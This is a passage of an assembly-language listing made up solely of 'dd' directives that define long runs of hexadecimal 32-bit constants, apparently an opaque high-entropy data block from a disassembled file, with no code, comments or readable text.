0EF71AF5Bh dd 817F194h, 8A662CBEh, 0BE5ED74Eh, 0AAF0E7h, 3028C780h dd 64685BF9h, 0D3616558h, 0D5CEC1BAh, 0D3B17C63h, 3F7FC3B8h dd 0FBA55055h, 4CFD2762h, 0D2973650h, 68132A16h, 0C08C1FFDh dd 20AB9403h, 26D909BAh, 2FF5BADh, 0FDF9EFCBh, 5B51961Ch dd 77D3CBDh, 0FE59EC08h, 0A7CC80F3h, 1DFB3ED3h, 0CBC18838h dd 6E1073C3h, 0EA0F6D7Dh, 0A9CA310Fh, 80C57EDCh, 61DF22C6h dd 69B689A0h, 48F9E98Bh, 1EC3BB83h, 0C97FB07Eh, 995DF0A3h dd 0C23E9DAEh, 79573369h, 0CC2A4320h, 0CE872C4Bh, 0D7907682h dd 59697AFh, 1F282D23h, 8D5A8BB9h, 1698B579h, 1D535781h dd 5F5523BBh, 85DFDF2Fh, 0A501121Dh, 59F7008Bh, 6F765853h dd 13C8F23Ah, 0D8A01E28h, 5ED2DE9h, 0DA4C71F2h, 5BD42013h dd 0CC1FB129h, 745FB444h, 31B256ACh, 0E912A2C4h, 30CCACFCh dd 61D641AAh, 738678C2h, 7B30DC0Fh, 0AA32E40Dh, 1328BB88h dd 0FB337AA6h, 40BC5817h, 0D9F18377h, 5FCC9303h, 4CF14827h dd 6C2812C6h, 4E81784h, 0FDC05350h, 7D5B6E19h, 0DD6AB522h dd 238B8200h, 0CEA40AB1h, 7C0E8027h, 12FE628Fh, 3E330500h dd 38597ABAh, 0AB5B0CDBh, 0CB4EDC61h, 6EF25781h, 6C21E43Ch dd 3A824FBAh, 5EFC49A8h, 1118F6Eh, 47685052h, 0FF418D0Fh dd 0DA74335h, 0D6016DC0h, 432659B3h, 5A009626h, 0B9792048h dd 0F5E414F8h, 891FA0FBh, 17E0B4Ah, 880A670h, 0E095495Fh dd 655DA7Bh, 0C6E90B65h, 0C10E8F1Fh, 52F97051h, 0BFF2C916h dd 7B5751A2h, 51E9C20Bh, 0DD4C20DDh, 0BF0A2560h, 4BE020B3h dd 0F50ADA9Fh, 45C52BE9h, 0D4173601h, 60DA0113h, 3F456F5Dh dd 0CE0257CFh, 4FAF0341h, 0F7BE60D5h, 73E927DEh, 0AD7207E2h dd 89A6BF2h, 12178BFh, 7569283Bh, 2904EBC1h, 1EE9C26Eh dd 1F466519h, 0D12E0C57h, 50BC295h, 0F5140601h, 37686C81h dd 579A6E74h, 0AEEBC54Ah, 0F94CFF8Fh, 521AE880h, 0E20C8140h dd 0E46C6DECh, 19B109EAh, 20224876h, 90D50B8Ch, 81292F41h dd 0B12C7E57h, 0C16B4002h dd 17E0E65Ch, 0E7CEF84Fh, 1DFFBB02h, 4BE03827h, 370F095Fh dd 1CEB015Eh, 5D5F08A8h, 293986B8h, 50EF688Ah, 0AF04BC7Ah dd 85128D76h, 6A8407E7h, 0A75FB91Fh, 0AB407BD2h, 80C82937h dd 3FE1D78Fh, 0B9A4E7FCh, 345B1207h, 75C5B9FCh, 533841EBh dd 2C43B368h, 4AE4C096h, 0F2D38CCh, 0D92FCEEBh, 1DCCAAB2h dd 9FA5BF53h, 6A63A166h, 698452A6h, 814300C9h, 147F51CBh dd 914B0917h, 1680261Ch, 0D0101F4h, 2F2A3632h, 8139894h dd 74678605h, 0E5660AAh, 9FB0502Dh, 6D825E4Bh, 4979825Ch dd 0E77157FDh, 116B3C0Bh, 43A19B6h, 0EF5D593Eh, 8DF4A88Dh dd 6A669DF8h, 0B22EB71Dh, 5BFA2880h, 4A5AD430h, 3A18BE50h dd 8AF4F24Ch, 5F1A6456h, 4AA0253h, 0F1224C58h, 0EE03BD3Dh dd 196D2BB1h, 2A5A31D9h, 9BAB7E56h, 0DFFC4E2Bh, 7A32E1D3h dd 960B7404h, 0D974C3EEh, 7F11EBE9h, 1A0D6680h, 0E2DECF7h dd 2B1556E2h, 136C61A0h, 1F05052Ah, 3153F4B3h, 0BB006BE8h dd 1CD324A7h, 430EE381h, 0C3308A2Ah, 9A6D70F3h, 2C6B6161h dd 34E0293Fh, 0E85BFF4Ch, 0C4C162ECh, 256B0A29h, 8E070562h dd 0BEF1784h, 0D40AA9Dh, 0F3D31D4Ah, 8409E22h, 0F60D37E9h dd 30D23326h, 8DA26D7h, 11CB8003h, 8426B050h, 40085FAh dd 0BEF86F5h, 0A90D38B9h, 40C0131Ah, 0E96DA058h, 0FAEE4A2Fh dd 0C8F920D5h, 5BDD2100h, 0C0026856h, 5AF77E75h, 62DEB9D2h dd 0BE3DA2Ah, 39AD835Dh, 7D688B33h, 1C66170Ch, 0B3AD0123h dd 0F21FC702h, 78DDCB80h, 0CABD2DE4h, 2D4570B6h, 173C83Eh dd 42DA1ACh, 0A1F72CF7h, 0F355F7Dh, 0D9F45A81h, 0E46BE741h dd 881CB52Fh, 0F31659CEh, 5618CCB2h, 0E6849ACh, 188D360Fh dd 399B845Eh, 41C75FABh, 7F650784h, 421BF45Dh, 147EA0A8h dd 492FA212h, 915EC7BFh, 2FD05DEBh, 40D78CB0h, 32B809DFh dd 7E12A698h, 1F059958h, 0D6F3D442h, 58D6CC10h, 0CBCAC4D5h dd 0EF9D74FAh, 5D0FA688h, 513B40B5h, 568C1392h, 3F7AC40h dd 3F0573E3h, 0BFA1F103h, 3DFC84C3h, 3748F9B2h, 172F2EBFh dd 0C106626Fh, 0F73A0795h, 6C680941h, 401BF96Dh, 31D33A6Eh dd 35021B92h, 0E99D3704h, 85BF8E01h, 0EEC809BBh, 0F18B625Eh dd 7B59138Ch, 0E3FB5CC4h, 52CC962Fh, 0B1C25109h, 603AE625h dd 224C6827h, 4809C893h, 0E2607EAFh, 0F27DC231h, 59542EB6h dd 40E95844h, 68CC3154h, 8109531h, 0F6447F39h, 0C8285691h dd 15D3823Fh, 2B92E9E1h, 0B6D0FACCh, 1E531203h, 68162036h dd 0D8A3157Ch, 30051377h, 137A0026h, 295E1B3Ch, 69D0EE4Ch dd 7948FDBBh, 927DF180h, 1ABE3D35h, 0D17B919Dh, 9217B61Ah dd 14AEC3C9h, 0D801C120h, 0E9405E31h, 34133ED3h, 1484FB90h dd 0AC754F94h, 0B419851Eh, 301439BBh, 512455BEh, 0E10CF85Dh dd 90E3CD89h, 2D2B416Ch, 5F5D1EDDh, 13961FD5h, 1309F788h dd 0A0F00628h, 0A084B7C3h, 5E2CEB50h, 612E1E6Eh, 20F02C3Bh dd 0BD585EDAh, 79B181D7h, 0DD384478h, 0CB63947Bh, 0EE06520Ch dd 0D0D10239h, 0E7413AC4h, 72D6A02Ah, 0F847104Fh, 19850CB0h dd 0D27ADF11h, 21039301h, 6D20341Ch, 0F8CD4FF4h, 0D54E3ABh dd 6EBE985h, 7A52AD5Fh, 2D83A45Eh, 19D4CE8Eh, 4BF64463h dd 0FE96B06Fh, 75067F24h, 1061210Bh, 3D25EE0Ch, 96B44408h dd 0E8028417h, 302F5075h, 0D7320A4Fh, 3A7D00Dh, 0DF50A6BFh dd 5FCA317Eh, 214B7179h, 644168E9h, 0E0C16D6Ch, 6F4E9536h dd 46E22F81h, 26BF8A2Fh, 0EF123DD7h, 6B428DEEh, 0D84BFBEDh dd 0C338809Ah, 0F2EB3AF9h, 0A74AE9EAh, 60CCCDC6h, 642D4790h dd 8B17DC25h, 87A0C721h, 0FA5E029Ch, 9055E90Dh, 5D524554h dd 0E91CD4CEh, 0FC6D0157h, 58514261h, 0C54A5D29h, 789746F2h dd 0BCDB072h, 19072561h, 0B718B700h, 0E0C0FC76h, 43C44C8Dh dd 2F8A24E9h, 2DE88176h, 6ABC1B86h, 5482FC2h, 6D910051h dd 8127974Bh, 2667E23Bh, 0EA003549h, 0EBBFE5A3h, 5AD12F89h dd 0FF6228DAh, 0C3DCE903h, 76AF84F7h, 29DAC3Ah, 40D08886h dd 3E8C0A7h, 0B2526603h, 6FDF2057h, 1F76109Ah, 0E9DE8882h dd 3A7FF075h, 0EBBFC1B5h, 0F07C59ADh, 0B7BB56C4h, 0BA95AAh dd 73260C02h, 2C4305BAh, 3EC492D7h, 46E36789h, 5E25B9D5h dd 86AA13Ah, 5A3EEA21h, 20E90BF8h, 104CC84Ch, 0F6390909h dd 0B10EC631h, 501DDC8h, 5DD43829h, 0ACD39A72h, 58C2F4D7h dd 0E964A167h, 97A0E141h, 0A9495FB9h, 0D2A38457h, 87C45B0Eh dd 0D64DD2CFh, 3E935C4Eh, 954F8C80h, 99EE310Dh, 2900691Ah dd 7A456CF6h, 0F8C6ABFh, 0B27CA508h, 441039B9h, 68185006h dd 89CD663Ah, 842BCA81h, 1E806FC6h, 6F9C43A4h, 23810C41h dd 70504E8Bh, 0EAB7FBD3h, 5705C10Fh, 29B62D00h, 8768A93Ah dd 736AA6B2h, 274145F3h, 3C77C62Dh, 0D15627BCh, 9F799077h dd 9D5BC258h, 16E0BC41h, 0D2070DD0h, 350B757Bh, 890C7F42h dd 1CEFBAAh, 0BC31FB05h, 2DD0F473h, 3B5A07A1h, 9F7C15F3h dd 0BB53B048h, 4E2F741Eh, 0E8CBE909h, 7E31EA1Fh, 5B7B7B1Eh dd 124C168Bh, 0C73CFE0Ah, 1F227E9h, 56264D71h, 8AB45F3Dh dd 3C461EEAh, 25D1D64Fh, 0A84EFE08h, 38862436h, 49A45C3h dd 0FA4DC37Fh, 7CE81F3h, 0CB1024AEh, 572202B7h, 8E5C07ABh dd 3D2C39E9h, 34B8E51Ah, 49A676E3h, 0E0A4DACh, 12754C19h dd 2ADD4AE5h, 72CC7840h, 0CA2AC079h, 2B852FC9h, 2509D7B0h dd 0A9841AD0h, 0E8F9F9BBh, 0AE985EEh, 0CA21AB8Ch, 46390166h dd 7C418425h, 0F4B03B59h, 3EE28333h, 451332DEh, 3FE73F01h dd 0C16B4279h, 70D5F75Bh, 11B1B0BDh, 0B1516682h, 52CA762Dh dd 0F6938102h, 19018790h, 64F154ABh, 694E64C5h, 4A36485Ch dd 0B2D2CF0h, 419F09DCh, 79988D5h, 5B14D03Ah, 0CA207F90h dd 68572793h, 5512ACDCh, 49831FABh, 0D482E021h, 165AF53Fh dd 2A2B610Ch, 2EDD80Eh, 0E941F818h, 0C27AD7DFh, 0CA7D1716h dd 0A1A8AF04h, 0F9C40BACh, 284A1443h, 0A10F29E7h, 65476A58h dd 6195D502h, 0A1995A9h, 0FD4612D4h, 5B3F6C7Dh, 4CCF61B8h dd 0DD77EBF3h, 25962B2h, 9CFCE689h, 68EE8160h, 0A5084835h dd 3C12E948h, 841EB282h, 0EB16AE7Ch, 0D2CD1691h, 2885B22Fh dd 7BC0BC55h, 105CF4BDh, 1BE0413h, 0C15FB37Eh, 2406E967h dd 8DEC529Eh, 762770BEh, 0FA59E9A5h, 0B76CF0A5h, 9962D07Ch dd 683C90E0h, 5C6E138Fh, 4D972C39h, 0DDE42D90h, 572AF4C1h dd 0B02A62F4h, 76C14369h, 64EF5BD6h, 0D9B3D3DBh, 1B823447h dd 959849F7h, 89A1C15Dh, 0CA2EE421h, 107E1008h, 4AF27E7Ch dd 9361B7D3h, 54132EB2h, 3572E65Fh, 2E0CC1EFh, 0E4D855BAh dd 8152B8C5h, 870105C1h, 405A70EBh, 36690426h, 0BC80F612h dd 9655FC68h, 9F8C6352h, 0F3A9105Eh, 2D9201D2h, 7B740132h dd 5EAE51B4h, 4162CDBBh, 2C4EB0B5h, 88B80044h, 0C1805BF9h dd 96ADB8AEh, 0CAD09D0Fh, 2863CDD6h, 0E4B6541h, 0A109EA31h dd 0C0ECFDD8h, 0BB4A08B1h, 31E2DE08h, 3658C232h, 40C8416Eh dd 562C65ADh, 0AF7E916h, 0C60331A9h, 4D47C454h, 4F0F3E1h dd 44C3D0AEh, 7876A523h, 2926CF7Dh, 2B08F4A7h, 0AD5916F1h dd 0FE8BC512h, 2F4D0ED0h, 29DD0A47h, 9E58C7h, 0D6152AAEh dd 0CA5CE2E9h, 0B0A3D33Ch, 30154748h, 0CA406D82h, 385FC42Eh dd 72E2EBC8h, 5843CA04h, 6409FB6Dh, 7031D847h, 20C4905Ah dd 524EA876h, 2F10D5A8h dd 0E8301FFBh, 62E0A6D3h, 2B8609B8h, 647C6B5Bh, 0A51A5625h dd 911CED50h, 5B3FA652h, 4A95E3D0h, 1453C94h, 84040C8h dd 0C4D8BD29h, 5A8A152Dh, 51E72406h, 623ACFC7h, 4FA48440h dd 4652CC36h, 59088156h, 0B3CEBC3Fh, 12BEA234h, 0A156DB0Bh dd 4D0CE986h, 0E518D6F9h, 0A8882528h, 0AD90FAF0h, 4B019895h dd 13C988A9h, 7CE53A7Ch, 4F137111h, 16FF7ACEh, 13EF8051h dd 93BC4F6h, 0C4B6FBCDh, 8B8C692h, 5A75E24h, 0C44A85EFh dd 6CD8EF70h, 88C75C89h, 0FA5D3128h, 921598FFh, 6054FC09h dd 47EE1D60h, 2C760942h, 3144C600h, 0CE012746h, 0E76C6BE9h dd 7896A741h, 7A95C517h, 51506F41h, 5AF01AB5h, 109B17Bh dd 476C65A2h, 0A07E614Eh, 11018B4Dh, 814FB312h, 0D8B15F7h dd 0FA79FE01h, 72715812h, 783E9B5Ah, 9540D1D5h, 0DFB60552h dd 87C5C680h, 2E45DD21h, 47429005h, 29F34302h, 2861F56Ch dd 0D0C12411h, 272D4003h, 0EABE1B8Ch, 5A09FD7Ah, 0A57B4755h dd 96F72E89h, 4B5F9106h, 5A175759h, 0B8655812h, 70FA3B13h dd 5F68588Ch, 36F8265Bh, 9B4551CDh, 829B1BCAh, 26797DD8h dd 0E9B5B060h, 772B65FEh, 0DACB0153h, 207B7F2Dh, 1DE8D9A5h dd 0F29F0971h, 8A8909B7h, 8055A734h, 1C38356h, 0E14B4C43h dd 0F050E917h, 144F6821h, 0EA850F91h, 60FA0101h, 58006459h dd 0E3814271h, 71C5577Bh, 85D1BD4Bh, 334F3E02h, 261DD658h dd 597300D9h, 7E681C3Bh, 0FA573762h, 0C2480CF6h, 6F642613h dd 4237550Bh, 66457FBEh, 54902C9h, 436ED501h, 5CE2142Fh dd 0D4EDCFE9h, 0FCEC2073h, 3FE94565h, 880C30FFh, 0E3E653DCh dd 63B0D9EAh, 9857D240h, 779B063Ah, 0E56412Ch, 0BA717309h dd 0D12B051Dh, 0F13EC180h, 0E9B00992h, 30DFFE17h, 0BAADB3CFh dd 84EA056h, 0B515F06Fh, 0B22695E0h, 5BCC7782h, 0DB1781BDh dd 0D825D04h, 13E9458Fh, 0BD02E3FEh, 40207C99h, 0BFD933DFh dd 60257945h, 800EC9FCh, 0B155B9E9h, 0BAF07E87h, 527AB4DFh dd 68179358h, 0E0F64223h, 0A011E909h, 540B9DD2h, 5507E6B6h dd 0AC50CF24h, 0D7F614E7h, 5B124AC0h, 5D643412h, 68F03CABh dd 0A71C5C26h, 20FC80C2h, 2040DC1h, 0CDA0844Eh, 68EC409Bh dd 3027FE25h, 0AB15F1C1h, 57966909h, 0B5E70180h, 54B5F56Bh dd 98EB1CFBh, 49E908DDh, 5244914Eh, 2AB9DB32h, 189505C0h dd 1DB867C1h, 0DBA1682Dh, 0DAE70C19h, 145EA35h, 0C0F3ADECh dd 24B4BF0Ah, 510144F7h, 13326855h, 0D53008F5h, 39FB5F92h dd 252F38AFh, 0B0BEDD01h, 12C82129h, 0B31BC825h, 8EA9B57h dd 5100A927h, 0D27E1668h, 58FB037h, 296CA3C9h, 3EB7010Ch dd 6079405Fh, 0F813775Dh, 83AFE4EAh, 58F0C574h, 150744Bh dd 0B84A469Ch, 3901982Dh, 0FE03BA7Eh, 0AB6374F7h, 0E62EA98Dh dd 4DF405CAh, 8F804BA4h, 60DA26A2h, 0D8B08E1Ch, 48B7D135h dd 0B0271426h, 69269827h, 87825D83h, 82796A0Eh, 64BD8589h dd 0B40EA06Ah, 0B4994C6h, 9C592276h, 0A6325885h, 0C7F2B2BAh dd 0AAD0880Dh, 27E356Bh, 0E90F165Eh, 9BEBE643h, 0BBCA24B7h dd 0C607B4E5h, 3F723A3h, 6C492D3Eh, 0F2D21C48h, 0D19D82D8h dd 2C53EB9Ch, 4AC2F025h, 4377EBF0h, 0B612CBE5h, 0BA2057BAh dd 60719960h, 5405BF07h, 0DD0EF03h, 16FD19E7h, 0D7D3015Eh dd 3229E5D9h, 0F8575D91h, 6EF9B782h, 0F5C811C2h, 0E7481653h dd 78BF68C1h, 1583312Bh, 0EB6DA8h, 76452D26h, 182FCD81h dd 0C220519h, 1B3E103Fh, 45ED0269h, 0FD7F5FC8h, 4111C5C8h dd 98C96497h, 1570F73h, 9DC43B3Dh, 0B988AB40h, 0B8FB4078h dd 2D2D7FFEh, 0C329DD38h, 6802D5D6h, 0E0F6C8D3h, 0F25C9BB1h dd 4563BF35h, 0B97509Dh, 0BE13F358h, 5769BFDDh, 2EE90608h dd 403F6EDEh, 11EA5B8Bh, 0BA0D519Dh, 0CAFCCF62h, 0FE29A682h dd 561FB87Fh, 0CB1A0BC9h, 5A05F001h, 35CBF4F4h, 0C9B72D74h dd 70BE5554h, 8378E35Bh, 0C271F02Dh, 0D97D4078h, 3A149D51h dd 0DCC7012Fh, 0AA79C561h, 36C45990h, 4E4D7AD8h, 0FB2584F4h dd 2C85FCAh, 0B729F5A7h, 4A79B978h, 0F9885E27h, 9E56694Dh dd 0DBAB86C7h, 0BE54AFBBh, 0C740E424h, 0B7B44013h, 880B3CF9h dd 0BAB5322h, 0F510FCDFh, 0C4B70A52h, 6C68191Eh, 3B13A51Bh dd 3EF66040h, 97CCC2BBh, 6601B143h, 395D22D9h, 48C968FDh dd 92C0137Ch, 0E94C8E7Dh, 2ADBBA26h, 0F1144089h, 0F30F8BAFh dd 83162314h, 3E9202C2h, 41967D90h, 5C8189ECh, 161A8B2Fh dd 2DEA6355h, 1870F411h, 0C4764C95h, 0E8C783CDh, 7BC110C0h dd 3185BD03h, 0C59A6EBEh, 2496F2F5h, 40F581h, 0E829ADEDh dd 1AFE5E5Dh, 0BD44FB5Fh, 36EE90D7h, 22028236h, 112F06Dh dd 47FC2CAh, 0B0FB5908h, 0AA9E35C9h, 247F4D27h, 167ACA1Eh dd 0FF2A25C5h, 0B70E4886h, 0E912D6h, 9437698h, 0FD80A149h dd 8EAB287Bh, 87A32F5Bh, 985F0D40h, 4B4A0222h, 0F5290801h dd 3B297C1h, 452CF8BBh, 0F8089854h, 0EEF5CC4h, 0B4E53F84h dd 18481799h, 0F688DFBFh, 84BD01A9h, 7A787306h, 0FF4BECE8h dd 4948742Eh, 0A41AD604h, 3DF4E830h, 0D84E892Dh, 0F188FD34h dd 14D03A07h, 0C437A22Dh, 59D3BE10h, 2517275Ah, 8D180978h dd 0A63BA2E3h, 253A94F2h, 0CE6CFEF5h, 0E58A3888h, 3389B50Fh dd 8265661Eh, 0E9A78036h, 98D0407Ch, 1B0F6C7Eh, 51952DD0h dd 0A5210D1Bh, 29142C19h, 694F9381h, 1324DEDDh, 2DCBAF5Ch dd 6AD2E90Bh, 3AD56A1Ah, 18B64C22h, 594C9F68h, 8080EE85h dd 26F378EAh, 63565464h, 0C3E9E0B1h, 0FDCBC193h, 4F6E283Ah dd 5FFEA994h, 0E0D5497Eh, 82C45627h, 0C2D7672Eh, 68A09053h dd 0E89FC5EAh, 7B6FF904h, 53B6B85Ah, 0E796563Dh, 0E15A52D4h dd 4082BAEFh, 0EA4CD666h, 0B05F674Ah, 0FA38D302h, 72988016h dd 0B511886Ah, 8837672h, 7141C41h, 0B83124C5h, 9F918468h dd 3B9A0412h, 5771BE85h, 0D93AF756h, 452D2A79h, 0C0963E92h dd 2F0DBB9Ah, 126BCE3Dh, 0A5B29301h, 188BBB97h, 0FE075615h dd 3B53F20Fh, 1F0C38ACh, 0F6DE9717h, 18907FFh, 9E41BEC5h dd 825BBE7Ch, 0D632970Ch, 0C9F9FB42h, 0ABB58982h, 73500209h dd 0C65905D5h, 3D902DD2h, 2F13124Bh, 0E9B0BFE9h, 33DAD993h dd 0C685DC98h, 2CA0E6E6h, 0F62FCACDh, 489266DDh, 4A7075B3h dd 808A29DEh, 0CF685020h, 981EE235h, 4EC75E38h, 49DEB9BBh dd 841660A6h, 0D337B85Ch, 34308DC7h, 9F4A6D63h, 6C50650h dd 0AAB34104h, 0FEA22F7Ch, 662F2164h, 8F9EA209h, 80AD04C8h dd 6D5D0BA8h, 0F7817400h, 283067D4h, 26A4172Dh, 5ADB008h dd 0F45F07A1h, 2C3A6E69h, 821EBB53h, 0D8013727h, 12681005h dd 0D9E34D5Bh, 0B051940h, 8752B3Fh, 0E19E5F02h, 206A525Dh dd 0CA0C6EBh, 8E300A69h, 106A0C27h, 38935CA6h, 955FFA20h dd 0D275E404h, 0EC7B1316h, 4489B162h, 1B20C324h, 0A8210A41h dd 8132B7E1h, 57564F18h, 0B42A5F5Eh, 3503EE41h, 29034E17h dd 4B1A7AF0h, 582ABDEBh, 14D13BFCh, 1DD91337h, 6A12596Dh dd 644DC90Fh, 7121F75h, 0C5E0B7E9h, 4D57EEEDh, 0A61342FCh dd 0A9BC57C8h, 0B4C010C8h, 0AE005F2Dh, 0F7A3F97h, 8995D3B8h dd 89C575A9h, 22E04293h, 20E9B0B1h, 6818BAC3h, 77FF05C2h dd 67E6BF47h, 306B81E9h, 0C3285BD8h, 39AD5431h, 0DE43097Fh dd 4FA20851h, 11A02E2Ah, 10600556h, 8FFEFA2h, 472D3013h dd 0B484850Eh, 0F93021FCh dd 0E831FE5Fh, 0F324A73h, 0EDCBE9C0h, 68C13D79h, 0AF8827BEh dd 5C049039h, 0A3BAC330h, 0BB2E306Ch, 9B066568h, 0E8A7BF59h dd 0E8E59E89h, 0D08D9A7h, 87EB3CFAh, 0B06D81Ah, 600C8BEFh dd 0FBEEC042h, 847DCE07h, 99F108B1h, 27E9F8FEh, 0D0378798h dd 97934DD5h, 5B33A265h, 20A05D9h, 0F0D40582h, 0EC3C56C9h dd 0B3C486BCh, 9B122D5h, 47F81C41h, 0FE659AEBh, 0A56B48B4h dd 0F58955CEh, 88CDA163h, 0C49D537Fh, 0E7C125C4h, 8008C9DEh dd 0ABC983A6h, 67DFFA40h, 6D6C51F1h, 4FD6786Ah, 0CE24CAECh dd 0F1F66215h, 27D5C475h, 0C2186FA4h, 6895C4DDh, 84685383h dd 902FAF90h, 89865E4h, 290EE150h, 4114EBF1h, 0B67E5FD3h dd 27BD817Dh, 3E24F248h, 0FA0F0F61h, 124BE92Fh, 0FA495F74h dd 43260027h, 525D475Ah, 514FC688h, 93C412ACh, 0A6B3F83Eh dd 3F1A0958h, 63007D39h, 2DD04F3Eh, 0AE0CCFECh, 1817221Eh dd 801C5A5Ch, 2E07C7CAh, 9DF0D17h, 83E53B75h, 3DFE6C89h dd 62D1DEE3h, 190397Bh, 6B3C23BBh, 2360E5C1h, 0A3B5502Fh dd 0F2E0C025h, 4A202D5Bh, 0C2D4DB60h, 3BC9696Ah, 6809297Eh dd 0F15E646Ch, 58AF0F68h, 0DD063244h, 1EC5594Eh, 7E144DA4h dd 29BFA4CBh, 0DFDF0217h, 0FECA8000h, 0A3B73A53h, 0E7C0CF00h dd 52D7F608h, 120EB63Ch, 950E02E6h, 45827DCCh, 48C77BE9h dd 0C708E33Fh, 60D10706h, 73CB814Bh, 72B52C2Eh, 0D7A8B913h dd 6FD87627h, 278BD4B5h, 979B67C4h, 0FE170325h, 78FE85A1h dd 0FD4EE1A8h, 428585F9h, 0EAF7F431h, 386E890Bh, 50A9F87Eh dd 27E908C2h, 0C7226CEDh, 9C08657Ah, 0BE47561Eh, 0B8D234A4h dd 8EE15D08h, 0FFB457D8h, 6B219FC1h, 0E2C34747h, 835A8AAAh dd 10C00248h, 0AD3F012Ah, 9D704FBEh, 212D88B0h, 7DE17512h dd 7AD10EEh, 0EF9DE91Eh, 55548B66h, 4F05BE81h, 1196929h dd 80E0FD13h, 750BA2EAh, 97893471h, 5273DC5Bh, 1DA05689h dd 685EF521h, 2F184224h, 0D9825564h, 0A0CCCBF0h, 0C3285A66h dd 382A6808h, 1ECE96FFh, 0D40C3EBCh, 0B2D04E3h, 15D82A3Ah dd 2059D05h, 26F5E907h, 0DAC2BBF7h, 2CD1746Ah, 0DD6858C5h dd 0FB2DF196h, 6A0B25FBh, 30F01C7Fh, 0EF4FBE69h, 3C241A23h dd 0CE076F30h, 181C627Bh, 0DF280289h, 1D7AE929h, 4BE8C4D5h dd 0F431875Eh, 0DE3881FDh, 605302BDh, 8272A3F6h, 0D2A9B484h dd 0F083B740h, 745BF471h, 556828AFh, 0DA296827h, 6A72200Ch dd 7250B5h, 0D079882Dh, 0A054020h, 1FE07B17h, 3041670Bh dd 0CC76ECD8h, 0BB4CB910h, 1649227Ah, 10134C74h, 844B6B84h dd 4BC3A216h, 86ADBA0h, 21B69A8Ah, 366CC281h, 977A644Ah dd 0C01B94BAh, 0D3090DE6h, 0F325B097h, 3BE70BF0h, 3B74E923h dd 84F5D97h, 70444949h, 6F091E22h, 6517DC1Ch, 0D4EBF95Bh dd 167D69C0h, 893B5963h, 0D001ED48h, 45622D05h, 5374AC1Bh dd 68505182h, 90FDD8Fh, 67D8678Eh, 1F1AAFE2h, 40DE439Dh dd 1860CAD8h, 0EA3E9062h, 0BF98959Fh, 0CA9FD390h, 0D3E46123h dd 0B0E37424h, 800E942Fh, 83E2B5F5h, 9A9E01DEh, 800702Eh dd 6859D250h, 4248417Eh, 0B0D721A7h, 3F0B795Fh, 571625A0h dd 5834DAF5h, 4A0C20DBh, 250EE85Fh, 53078911h, 0F8CD9C29h dd 0D22DBA4Bh, 0C008F37Eh, 62E8B850h, 3401489Dh, 0F4334902h dd 43404819h, 92183508h, 44881B91h, 71649FD3h, 6AA4836Fh dd 0F6838FB7h, 0ECEE88D5h, 516EFAC0h, 3C4376B1h, 0E1833FC9h dd 5E9C0EAh, 93B50C3Ah, 0A941C7A1h, 8FBB050h, 5458B2E3h dd 0E2700923h, 0E12D1BD9h, 64D0127Dh, 0D4215B54h, 85C2F836h dd 0F78087DFh, 0C20CFF53h, 0DADE933h, 71617E5Eh, 5AC46930h dd 1A2D09B8h, 7778ED6Ah, 0D3CB4C2Dh, 3EAC09CAh, 52EED2F6h dd 0F7C321EAh, 37BF05AEh, 0E088B43Bh, 0DD0BF696h, 0D7E0B252h dd 0CEA6CB8Fh, 801C30B7h, 0F1192DEEh, 6F4616h, 51EAB84Fh dd 0F7284C2Fh, 27FBED0h, 19B4AEF2h, 0EC0FC17Ah, 57F30100h dd 177FB2C8h, 0F4E9E829h, 5E689BD8h, 234AEF0h, 5FC0D3BBh dd 3C41FBCAh, 57226BE2h, 5A06F11Eh, 1FECA504h, 0F8282D43h dd 2B64A72Ch, 5ECFA8C3h, 0B773450h, 0AE7EAA8Ch, 0D003076Ah dd 0B341B353h, 0F48098B4h, 0CCFE039Dh, 0D3F6DC86h, 0EC07087Bh dd 0E78853DBh, 0CA09F32Fh, 0B8016013h, 950900DAh, 4196057Ch dd 0F72472D6h, 11783D8h, 82FEFD64h, 0BD6ADB93h, 205B8D6Ch dd 2394F0F3h, 90999772h, 6F38D5E9h, 2FF1669Ch, 0C4DE5443h dd 38607A02h, 9DBB5003h, 1C0B4B52h, 5067C723h, 0FA281311h dd 8977F019h, 0C6E9FD09h, 77ED6AE3h, 6065C4A9h, 0E931D12Fh dd 5B9D10F8h, 178DA4BEh, 77150BE4h, 34883D8h, 6CE91C39h dd 20D666A7h, 0B02D8733h, 27F37E7Dh, 405BDDEh, 4474C130h dd 0E9C254B8h, 0BADF35B9h, 50F15CB6h, 62921CE9h, 4376BF05h dd 0B1EB1F73h, 74AEF933h, 570BBA70h, 5E3B5AB6h, 0E2DB398Eh dd 2EE4D0DEh, 5A02B902h, 40316F7Fh, 81949E5Ch, 0CB0E8B52h dd 9D09B828h, 0ACEB9FA0h, 6AFC1DB9h, 0B99708FCh, 14E1A126h dd 69C7E181h, 80E2D12Ah, 0B711CA0Ch, 0B0F93157h, 0C2509F51h dd 0EF83D70Dh, 0F7000AFFh, 587F1360h, 9D04404Dh, 1D30636Ch dd 1D897A84h, 0AB5804AAh, 4CC81443h, 71045030h, 560C0560h dd 97C428E9h, 1E095C51h, 17EAF199h, 7593A45Dh, 228E6B5Bh dd 35D5C2Fh, 3D10F1A9h, 76D330D9h, 277D1D4Dh, 38F5BE73h dd 9DEDF86Dh, 7CB5A3ECh, 0E05A996Eh, 411EE461h, 8BEAE925h dd 878F5DEAh, 0CAC24D04h, 130C5224h, 0B53C67Eh, 28402402h dd 0F6C162CBh, 922E0B06h, 7C3F664h, 1018D868h, 69A8F097h dd 9EC802ACh, 4D9F815Bh, 7C208B11h, 694495E3h, 8DF31CC0h dd 98A6C020h, 7DC169E2h, 4DCA6683h, 8B26EA99h, 7F2CD0A5h dd 0B9AAEF43h, 40823C63h, 9DDAFFEAh, 97CD6120h, 6FCE7041h dd 174C312Ch, 1DB60Ah, 76673D7Fh, 50BD451Ah, 6D4B798h dd 686EBC0Bh, 2E58CF9Fh, 1D641E91h, 0A0E0E89h, 0ACAA9AD8h dd 0F2F1EB4Eh, 5968CBCCh, 0E90B5FA4h, 0ABFEBA8Ah, 88EF5665h dd 6E13A205h, 0D3F93B2Fh, 6C724E01h, 655CE97Ch, 9C6085EBh dd 53AA030Fh, 0C1061692h, 775E5B40h, 8A961055h, 20A8BE00h dd 0EE8167FBh, 433DB20Eh, 8DF6C015h, 0C734ED73h, 0C1C8190Ch dd 2AF531E3h, 0E3AB99C4h, 82E91681h, 408991EFh, 0B41E28B2h dd 59FD0FDh, 0FB255AE9h, 788AEF45h, 1FEAE4C4h, 0F0CA97B3h dd 0F49D01E4h, 0C7BECC40h, 4B61799Fh, 0F17D93C2h, 2302E94Ah dd 5B0590A2h, 454602EFh, 84DDE779h, 558DBB59h, 953117E0h dd 